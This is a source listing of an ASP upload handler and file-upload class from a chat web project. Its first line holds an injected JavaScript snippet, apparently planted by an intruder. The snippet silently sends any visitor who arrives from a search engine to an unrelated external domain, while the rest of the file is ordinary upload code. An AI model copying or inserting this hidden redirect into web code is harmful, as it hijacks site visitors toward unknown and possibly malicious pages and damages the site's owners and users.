d:\wwwroot\wuchunhua\liaotianim\inc\XK_Upload.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><%@ codepage=65001%>
002: <!--#include file="BLL.asp"-->
003: <%
004: if isempty(Session(Session_UserID_Arg)) or Session(Session_UserID_Arg)="" then response.end()
005:
006: 'on error resume next
007:
008: response.charset="UTF-8"
009:
010: dim inputname,immediate,attachdir,dirtype,maxattachsize,upext,msgtype
011: inputname="filedata"'表单文件域name
012: attachdir="../UserUpload"'上传文件保存路径,结尾不要带/
013: dirtype=1'1:按天存入目录 2:按月存入目录 3:按扩展名存目录  建议使用按天存
014: maxattachsize=2097152'最大上传大小,默认是2M
015: upext="txt,rar,zip,jpg,jpeg,gif,png,swf,wmv,avi,wma,mp3,mid"&SysConfig("Alow_FileExt")'上传扩展名
016: msgtype=2'返回上传参数的格式:1,只返回url,2,返回参数数组
017: immediate=Request.QueryString("immediate")'立即上传模式,仅为演示用
018:
019: dim err,msg,upfile
020: err = ""
021: msg = "''"
022:
023: set upfile=new upfile_class
024: upfile.AllowExt=replace(upext,",",";")+";"
025: upfile.GetData(maxattachsize)
026: if upfile.isErr then
027:    select case upfile.isErr
028:    case 1
029:       err="无数据提交"
030:    case 2
031:       err="文件大小超过 "+cstr(maxattachsize)+"字节"
032:    case else
033:       err=upfile.ErrMessage
034:    end select
035: else
036:    dim attach_dir,attach_subdir,filename,extension,target,tmpfile
037:    extension=upfile.file(inputname).FileExt
038:    select case dirtype
039:       case 1
040:          attach_subdir="day_"+DateFormat(now,"yymmdd")
041:       case 2
042:          attach_subdir="month_"+DateFormat(now,"yymm")
043:       case 3
044:          attach_subdir="ext_"+extension
045:    end select
046:    attach_dir=attachdir+"/"+attach_subdir+"/"
047:    '建文件夹
048:    CreateFolder attach_dir
049:    tmpfile=upfile.AutoSave(inputname,Server.mappath(attach_dir)+"\")
050:    if upfile.isErr then
051:       if upfile.isErr=3 then
052:          err="上传文件扩展名必需为:"+upext
053:       else
054:          err=upfile.ErrMessage
055:       end if
056:    else
057:       '生成随机文件名并改名
058:       Randomize timer
059:       filename=DateFormat(now,"yyyymmddhhnnss")+cstr(cint(9999*Rnd))+"."+extension
060:       target=attach_dir+filename
061:       moveFile attach_dir+tmpfile,target
062:       if immediate="1" then target="!"+target
063:       target=jsonString(target)
064:       if msgtype=1 then
065:          msg="'"+target+"'"
066:       else
067:          msg="{'url':'"+target+"','localname':'"+jsonString(upfile.file(inputname).FileName)+"','id':'1'}"
068:       end if
069:    end if
070: end if
071: set upfile=nothing
072: response.write "{'err':'"+jsonString(err)+"','msg':"+msg+"}"
073:
074: function jsonString(str)
075:    str=replace(str,"\","\\")
076:    str=replace(str,"/","\/")
077:    str=replace(str,"'","\'")
078:    jsonString=str
079: end function
080:
081: Function Iif(expression,returntrue,returnfalse)
082:    If expression=true Then
083:       iif=returntrue
084:    Else
085:       iif=returnfalse
086:    End If
087: End Function
088:
089: function DateFormat(strDate,fstr)
090:    if isdate(strDate) then
091:       dim i,temp
092:       temp=replace(fstr,"yyyy",DatePart("yyyy",strDate))
093:       temp=replace(temp,"yy",mid(DatePart("yyyy",strDate),3))
094:       temp=replace(temp,"y",DatePart("y",strDate))
095:       temp=replace(temp,"w",DatePart("w",strDate))
096:       temp=replace(temp,"ww",DatePart("ww",strDate))
097:       temp=replace(temp,"q",DatePart("q",strDate))
098:       temp=replace(temp,"mm",iif(len(DatePart("m",strDate))>1,DatePart("m",strDate),"0"&DatePart("m",strDate)))
099:       temp=replace(temp,"dd",iif(len(DatePart("d",strDate))>1,DatePart("d",strDate),"0"&DatePart("d",strDate)))
100:       temp=replace(temp,"hh",iif(len(DatePart("h",strDate))>1,DatePart("h",strDate),"0"&DatePart("h",strDate)))
101:       temp=replace(temp,"nn",iif(len(DatePart("n",strDate))>1,DatePart("n",strDate),"0"&DatePart("n",strDate)))
102:       temp=replace(temp,"ss",iif(len(DatePart("s",strDate))>1,DatePart("s",strDate),"0"&DatePart("s",strDate)))
103:       DateFormat=temp
104:    else
105:       DateFormat=false
106:    end if
107: end function
108:
109: Function CreateFolder(FolderPath)
110:    dim lpath,fs,f
111:   lpath=Server.MapPath(FolderPath)
112:   Set fs=Server.CreateObject("Scri"&"pting.File"&"Sys"&"temObject")
113:   If not fs.FolderExists(lpath) then
114:      Set f=fs.CreateFolder(lpath)
115:      CreateFolder=F.Path
116:    end if
117:   Set F=Nothing
118:   Set fs=Nothing
119: End Function
120:
121: Function moveFile(oldfile,newfile)
122:    dim fs
123: Set fs=Server.CreateObject("Scri"&"pting.File"&"Sys"&"temObject")
124: fs.movefile Server.MapPath(oldfile),Server.MapPath(newfile)
125: Set fs=Nothing
126: End Function
127:
128: '----------------------------------------------------------------------
129: '转发时请保留此声明信息,这段声明不并会影响你的速度!
130: '*******************    无惧上传类 V2.2 xheditor特别修改版   ************************************
131: '作者:梁无惧
132: '网站:http://www.25cn.com
133: '电子邮件:yjlrb@21cn.com
134: '版权声明:版权所有,源代码公开,各种用途均可免费使用,但是修改后必须把修改后的文件
135: '发送一份给作者.并且保留作者此版权信息
136: '**********************************************************************
137: '----------------------------------------------------------------------
138: '----------------------------------------------------------------------
139: '文件上传类
140: Class UpFile_Class
141:
142: Dim Form,File
143: Dim AllowExt_   '允许上传类型(白名单)
144: Dim NoAllowExt_   '不允许上传类型(黑名单)
145: Dim IsDebug_ '是否显示出错信息
146: Private   oUpFileStream   '上传的数据流
147: Private isErr_      '错误的代码,0或true表示无错
148: Private ErrMessage_   '错误的字符串信息
149: Private isGetData_   '指示是否已执行过GETDATA过程
150:
151: '------------------------------------------------------------------
152: '类的属性
153: Public Property Get Version
154:    Version="无惧上传类 Version V2.0"
155: End Property
156:
157: Public Property Get isErr      '错误的代码,0或true表示无错
158:    isErr=isErr_
159: End Property
160:
161: Public Property Get ErrMessage      '错误的字符串信息
162:    ErrMessage=ErrMessage_
163: End Property
164:
165: Public Property Get AllowExt      '允许上传类型(白名单)
166:    AllowExt=AllowExt_
167: End Property
168:
169: Public Property Let AllowExt(Value)   '允许上传类型(白名单)
170:    AllowExt_=LCase(Value)
171: End Property
172:
173: Public Property Get NoAllowExt      '不允许上传类型(黑名单)
174:    NoAllowExt=NoAllowExt_
175: End Property
176:
177: Public Property Let NoAllowExt(Value)   '不允许上传类型(黑名单)
178:    NoAllowExt_=LCase(Value)
179: End Property
180:
181: Public Property Let IsDebug(Value)   '是否设置为调试模式
182:    IsDebug_=Value
183: End Property
184:
185:
186: '----------------------------------------------------------------
187: '类实现代码
188:
189: '初始化类
190: Private Sub Class_Initialize
191:    isErr_ = 0
192:    NoAllowExt=""      '黑名单,可以在这里预设不可上传的文件类型,以文件的后缀名来判断,不分大小写,每个每缀名用;号分开,如果黑名单为空,则判断白名单
193:    NoAllowExt=LCase(NoAllowExt)
194:    AllowExt=""      '白名单,可以在这里预设可上传的文件类型,以文件的后缀名来判断,不分大小写,每个后缀名用;号分开
195:    AllowExt=LCase(AllowExt)
196:    isGetData_=false
197: End Sub
198:
199: '类结束
200: Private Sub Class_Terminate  
201:    on error Resume Next
202:    '清除变量及对像
203:    Form.RemoveAll
204:    Set Form = Nothing
205:    File.RemoveAll
206:    Set File = Nothing
207:    oUpFileStream.Close
208:    Set oUpFileStream = Nothing
209:    if Err.number<>0 then OutErr("清除类时发生错误!")
210: End Sub
211:
212: '分析上传的数据
213: Public Sub GetData (MaxSize)
214:     '定义变量
215:    on error Resume Next
216:    if isGetData_=false then
217:       Dim RequestBinData,sSpace,bCrLf,sInfo,iInfoStart,iInfoEnd,tStream,iStart,oFileInfo
218:       Dim sFormValue,sFileName
219:       Dim iFindStart,iFindEnd
220:       Dim iFormStart,iFormEnd,sFormName
221:       '代码开始
222:       If Request.TotalBytes < 1 Then   '如果没有数据上传
223:          isErr_ = 1
224:          ErrMessage_="没有数据上传,这是因为直接提交网址所产生的错误!"
225:          OutErr("没有数据上传,这是因为直接提交网址所产生的错误!!")
226:          Exit Sub
227:       End If
228:       If MaxSize > 0 Then '如果限制大小
229:          If Request.TotalBytes > MaxSize Then
230:          isErr_ = 2   '如果上传的数据超出限制大小
231:          ErrMessage_="上传的数据超出限制大小!"
232:          OutErr("上传的数据超出限制大小!")
233:          Exit Sub
234:          End If
235:       End If
236:       Set Form = Server.CreateObject ("Scripting.Dictionary")
237:       Form.CompareMode = 1
238:       Set File = Server.CreateObject ("Scripting.Dictionary")
239:       File.CompareMode = 1
240:       Set tStream = Server.CreateObject ("ADODB.Stream")
241:       Set oUpFileStream = Server.CreateObject ("ADODB.Stream")
242:       if Err.number<>0 then OutErr("创建流对象(ADODB.STREAM)时出错,可能系统不支持或没有开通该组件")
243:       oUpFileStream.Type = 1
244:       oUpFileStream.Mode = 3
245:       oUpFileStream.Open
246:       oUpFileStream.Write Request.BinaryRead (Request.TotalBytes)
247:       oUpFileStream.Position = 0
248:       RequestBinData = oUpFileStream.Read
249:       Dim sHtml5FileInfo
250:       sHtml5FileInfo=Request.ServerVariables("HTTP_CONTENT_DISPOSITION")
251:       If sHtml5FileInfo<>"" Then'针对Html5上传特别修正
252:          iFindStart = InStr (1,sHtml5FileInfo,"name=""",1)+6
253:          iFindEnd = InStr (iFindStart,sHtml5FileInfo,"""",1)
254:          sFormName=Trim(Mid(sHtml5FileInfo,iFindStart,iFindEnd-iFindStart))
255:          iFindStart = InStr (iFindStart,sHtml5FileInfo,"filename=""",1)+10
256:          iFindEnd = InStr (iFindStart,sHtml5FileInfo,"""",1)
257:          sFileName = Trim(Mid(sHtml5FileInfo,iFindStart,iFindEnd-iFindStart))
258:          Set oFileInfo = new FileInfo_Class
259:          oFileInfo.FileName = GetFileName(sFileName)
260:          oFileInfo.FilePath = GetFilePath(sFileName)
261:          oFileInfo.FileExt = GetFileExt(sFileName)
262:          oFileInfo.FileStart = 0
263:          oFileInfo.FileSize = Request.TotalBytes
264:          oFileInfo.FormName = sFormName
265:          file.add sFormName,oFileInfo
266:       Else
267:          iFormEnd = oUpFileStream.Size
268:          bCrLf = ChrB (13) & ChrB (10)
269:          '取得每个项目之间的分隔符
270:          sSpace = MidB (RequestBinData,1, InStrB (1,RequestBinData,bCrLf)-1)
271:          iStart = LenB(sSpace)
272:          iFormStart = iStart+2
273:          '分解项目
274:          Do
275:             iInfoEnd = InStrB (iFormStart,RequestBinData,bCrLf & bCrLf)+3
276:             tStream.Type = 1
277:             tStream.Mode = 3
278:             tStream.Open
279:             oUpFileStream.Position = iFormStart
280:             oUpFileStream.CopyTo tStream,iInfoEnd-iFormStart
281:             tStream.Position = 0
282:             tStream.Type = 2
283:             tStream.CharSet = "utf-8"
284:             sInfo = tStream.ReadText        
285:             '取得表单项目名称
286:             iFormStart = InStrB (iInfoEnd,RequestBinData,sSpace)-1
287:             iFindStart = InStr (22,sInfo,"name=""",1)+6
288:             iFindEnd = InStr (iFindStart,sInfo,"""",1)
289:             sFormName = Mid(sinfo,iFindStart,iFindEnd-iFindStart)
290:             '如果是文件
291:             If InStr (45,sInfo,"filename=""",1) > 0 Then
292:                Set oFileInfo = new FileInfo_Class
293:                '取得文件属性
294:                iFindStart = InStr (iFindEnd,sInfo,"filename=""",1)+10
295:                iFindEnd = InStr (iFindStart,sInfo,""""&vbCrLf,1)
296:                sFileName = Trim(Mid(sinfo,iFindStart,iFindEnd-iFindStart))
297:                oFileInfo.FileName = GetFileName(sFileName)
298:                oFileInfo.FilePath = GetFilePath(sFileName)
299:                oFileInfo.FileExt = GetFileExt(sFileName)
300:                iFindStart = InStr (iFindEnd,sInfo,"Content-Type: ",1)+14
301:                iFindEnd = InStr (iFindStart,sInfo,vbCr)
302:                oFileInfo.FileMIME = Mid(sinfo,iFindStart,iFindEnd-iFindStart)
303:                oFileInfo.FileStart = iInfoEnd
304:                oFileInfo.FileSize = iFormStart -iInfoEnd -2
305:                oFileInfo.FormName = sFormName
306:                file.add sFormName,oFileInfo
307:             else
308:             '如果是表单项目
309:                tStream.Close
310:                tStream.Type = 1
311:                tStream.Mode = 3
312:                tStream.Open
313:                oUpFileStream.Position = iInfoEnd
314:                oUpFileStream.CopyTo tStream,iFormStart-iInfoEnd-2
315:                tStream.Position = 0
316:                tStream.Type = 2
317:                tStream.CharSet = "utf-8"
318:                sFormValue = tStream.ReadText
319:                If Form.Exists (sFormName) Then
320:                   Form (sFormName) = Form (sFormName) & ", " & sFormValue
321:                   else
322:                   Form.Add sFormName,sFormValue
323:                End If
324:             End If
325:             tStream.Close
326:             iFormStart = iFormStart+iStart+2
327:             '如果到文件尾了就退出
328:          Loop Until (iFormStart+2) >= iFormEnd
329:          if Err.number<>0 then OutErr("分解上传数据时发生错误,可能客户端的上传数据不正确或不符合上传数据规则")
330:       End if
331:       RequestBinData = ""
332:       Set tStream = Nothing
333:       isGetData_=true
334:    end if
335: End Sub
336:
337: '保存到文件,自动覆盖已存在的同名文件
338: Public Function SaveToFile(Item,Path)
339:    SaveToFile=SaveToFileEx(Item,Path,True)
340: End Function
341:
342: '保存到文件,自动设置文件名
343: Public Function AutoSave(Item,Path)
344:    AutoSave=SaveToFileEx(Item,Path,false)
345: End Function
346:
347: '保存到文件,OVER为真时,自动覆盖已存在的同名文件,否则自动把文件改名保存
348: Private Function SaveToFileEx(Item,Path,Over)
349:    On Error Resume Next
350:    Dim FileExt
351:    if file.Exists(Item) then
352:       Dim oFileStream
353:       Dim tmpPath
354:       isErr_=0
355:       Set oFileStream = CreateObject ("ADODB.Stream")
356:       oFileStream.Type = 1
357:       oFileStream.Mode = 3
358:       oFileStream.Open
359:       oUpFileStream.Position = File(Item).FileStart
360:       oUpFileStream.CopyTo oFileStream,File(Item).FileSize
361:       tmpPath=Split(Path,".")(0)
362:       FileExt=GetFileExt(Path)
363:       if Over then
364:          if isAllowExt(FileExt) then
365:             oFileStream.SaveToFile tmpPath & "." & FileExt,2
366:             if Err.number<>0 then OutErr("保存文件时出错,请检查路径,是否存在该上传目录!该文件保存路径为" & tmpPath & "." & FileExt)
367:          Else
368:             isErr_=3
369:             ErrMessage_="该后缀名的文件不允许上传!"
370:             OutErr("该后缀名的文件不允许上传")
371:          End if
372:       Else
373:          Path=GetFilePath(Path)
374:          dim fori
375:          fori=1
376:          if isAllowExt(File(Item).FileExt) then
377:             do
378:                fori=fori+1
379:                Err.Clear()
380:                tmpPath=Path&GetNewFileName()&"."&File(Item).FileExt
381:                oFileStream.SaveToFile tmpPath
382:             loop Until ((Err.number=0) or (fori>50))
383:             if Err.number<>0 then OutErr("自动保存文件出错,已经测试50次不同的文件名来保存,请检查目录是否存在!该文件最后一次保存时全路径为"&Path&GetNewFileName()&"."&File(Item).FileExt)
384:          Else
385:             isErr_=3
386:             ErrMessage_="该后缀名的文件不允许上传!"
387:             OutErr("该后缀名的文件不允许上传")
388:          End if
389:       End if
390:       oFileStream.Close
391:       Set oFileStream = Nothing
392:    else
393:       ErrMessage_="不存在该对象(如该文件没有上传,文件为空)!"
394:       OutErr("不存在该对象(如该文件没有上传,文件为空)")
395:    end if
396:    if isErr_=3 then SaveToFileEx="" else SaveToFileEx=GetFileName(tmpPath)
397: End Function
398:
399: '取得文件数据
400: Public Function FileData(Item)
401:    isErr_=0
402:    if file.Exists(Item) then
403:       if isAllowExt(File(Item).FileExt) then
404:          oUpFileStream.Position = File(Item).FileStart
405:          FileData = oUpFileStream.Read (File(Item).FileSize)
406:          Else
407:          isErr_=3
408:          ErrMessage_="该后缀名的文件不允许上传"
409:          OutErr("该后缀名的文件不允许上传")
410:          FileData=""
411:       End if
412:    else
413:       ErrMessage_="不存在该对象(如该文件没有上传,文件为空)!"
414:       OutErr("不存在该对象(如该文件没有上传,文件为空)")
415:    end if
416: End Function
417:
418:
419: '取得文件路径
420: Public function GetFilePath(FullPath)
421:   If FullPath <> "" Then
422:     GetFilePath = Left(FullPath,InStrRev(FullPath, "\"))
423:     Else
424:     GetFilePath = ""
425:   End If
426: End function
427:
428: '取得文件名
429: Public Function GetFileName(FullPath)
430:   If FullPath <> "" Then
431:     GetFileName = mid(FullPath,InStrRev(FullPath, "\")+1)
432:     Else
433:     GetFileName = ""
434:   End If
435: End function
436:
437: '取得文件的后缀名
438: Public Function GetFileExt(FullPath)
439:   If FullPath <> "" Then
440:     GetFileExt = LCase(Mid(FullPath,InStrRev(FullPath, ".")+1))
441:     Else
442:     GetFileExt = ""
443:   End If
444: End function
445:
446: '取得一个不重复的序号
447: Public Function GetNewFileName()
448:    dim ranNum
449:    dim dtNow
450:    dtNow=Now()
451:    randomize
452:    ranNum=int(90000*rnd)+10000
453:    '以下这段由webboy提供
454:    GetNewFileName=year(dtNow) & right("0" & month(dtNow),2) & right("0" & day(dtNow),2) & right("0" & hour(dtNow),2) & right("0" & minute(dtNow),2) & right("0" & second(dtNow),2) & ranNum
455: End Function
456:
457: Public Function isAllowExt(Ext)
458:    if NoAllowExt="" then
459:       isAllowExt=cbool(InStr(1,";"&AllowExt&";",LCase(";"&Ext&";")))
460:    else
461:       isAllowExt=not CBool(InStr(1,";"&NoAllowExt&";",LCase(";"&Ext&";")))
462:    end if
463: End Function
464: End Class
465:
466: Public Sub OutErr(ErrMsg)
467: if IsDebug_=true then
468:    Response.Write ErrMsg
469:    Response.End
470:    End if
471: End Sub
472:
473: '----------------------------------------------------------------------------------------------------
474: '文件属性类
475: Class FileInfo_Class
476: Dim FormName,FileName,FilePath,FileSize,FileMIME,FileStart,FileExt
477: End Class
478: %
>
479:
480: